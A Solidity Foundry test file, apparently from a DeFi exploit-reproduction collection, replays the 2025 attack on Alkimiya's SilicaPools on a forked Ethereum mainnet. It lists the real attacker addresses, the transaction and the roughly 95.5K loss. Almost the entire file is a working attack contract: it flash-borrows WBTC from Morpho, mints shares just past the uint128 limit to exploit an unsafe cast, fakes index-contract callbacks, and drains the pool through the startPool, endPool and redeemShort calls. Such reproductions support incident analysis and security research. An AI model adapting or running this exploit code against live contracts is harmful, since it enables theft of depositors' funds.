src/test/2025-03/Alkimiya_io_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 95.5 K (1.14015390 WBTC)
8// Original Attacker : 0xF6ffBa5cbF285824000daC0B9431032169672B6e
9// MEV frontrunner : Yoink(0xFDe0d1575Ed8E06FBf36256bcdfA1F359281455A)
10// Attack Contract : https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731dbbd4e4
11// Vulnerable Contract : https://etherscan.io/address/0xf3f84ce038442ae4c4dcb6a8ca8bacd7f28c9bde
12// Attack Tx : https://etherscan.io/tx/0x9b9a6dd05526a8a4b40e5e1a74a25df6ecccae6ee7bf045911ad89a1dd3f0814
13// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
14 
15// Contracts involved
16address constant silicaPools = 0xf3F84cE038442aE4c4dCB6A8Ca8baCd7F28c9bDe;
17address constant morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
18address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
19 
20contract Alkimiya_io_exp is Test {
21    address attacker = makeAddr("attacker");
22 
23    function setUp() public {
24        vm.createSelectFork("mainnet", 22_146_340 - 1);
25    }
26 
27    function testPoC() public {
28        vm.startPrank(attacker);
29        AttackerC attC = new AttackerC();
30        
31        attC.attack();
32 
33        console2.log("Profit:", IFS(WBTC).balanceOf(address(attC)), 'WBTC');
34    }
35}
36 
37contract AttackerC {
38    uint256 id;
39 
40    function attack() external {
41        IFS(WBTC).approve(silicaPools, type(uint256).max);
42        IFS(WBTC).approve(morpho, type(uint256).max);
43        
44        IFS(morpho).flashLoan(
45            WBTC, 
46            1000000000, 
47            ''
48        );
49    }
50 
51    function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
52        IFS(WBTC).transfer(silicaPools, 56125794);
53 
54        IFS.PoolParams memory poolParams = IFS.PoolParams(
55            41,
56            46,
57            address(this), // index
58            uint48(block.timestamp),
59            uint48(block.timestamp),
60            WBTC
61        );
62 
63        IFS(silicaPools).collateralizedMint(
64            poolParams,
65            bytes32(0),
66            uint256(type(uint128).max) + 2, // To trigger the unsafecast `uint128(shares)`
67            address(this),
68            address(this)
69        );
70 
71        IFS(silicaPools).safeTransferFrom(
72            address(this), 
73            address(1),
74            id, 
75            type(uint128).max,
76            ""
77        );
78 
79        IFS(silicaPools).startPool(poolParams);
80        IFS(silicaPools).endPool(poolParams);
81        IFS(silicaPools).redeemShort(poolParams);
82    }
83 
84    function onERC1155Received(
85        address operator,
86        address from,
87        uint256 _id,
88        uint256 value,
89        bytes calldata data
90    ) external returns (bytes4) {
91        // Only the second id is used, the fist is overwrite
92        id = _id;
93 
94        return AttackerC.onERC1155Received.selector;
95    }
96 
97    // Used by index param of PoolParams on collateralizedMint and startPool functions
98 
99    function decimals() external returns(uint256) {
100        return 31;
101    }
102 
103    function transferFrom(address from, address to, uint256) external returns(bool) {
104        return true;
105    }
106 
107    function shares() external returns(uint256) {
108        return 1;
109    }
110 
111    function balance() external returns(uint256) {
112        return 0;
113    }
114}
115 
116interface IFS is IERC20 {
117    // Morpho
118    function flashLoan(address token, uint256 assets, bytes calldata data) external;
119 
120    // SilicaPools
121    struct PoolParams {
122        uint128 floor;
123        uint128 cap;
124        address index;
125        uint48 targetStartTimestamp;
126        uint48 targetEndTimestamp;
127        address payoutToken;
128    }
129 
130    function collateralizedMint(
131        PoolParams calldata poolParams,
132        bytes32 orderHash,
133        uint256 shares,
134        address longRecipient,
135        address shortRecipient
136    ) external;
137 
138    function startPool(PoolParams calldata poolParams) external;
139    function endPool(PoolParams calldata poolParams) external;
140    function redeemShort(PoolParams calldata shortParams) external;
141 
142    function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes memory data) external;
143}
144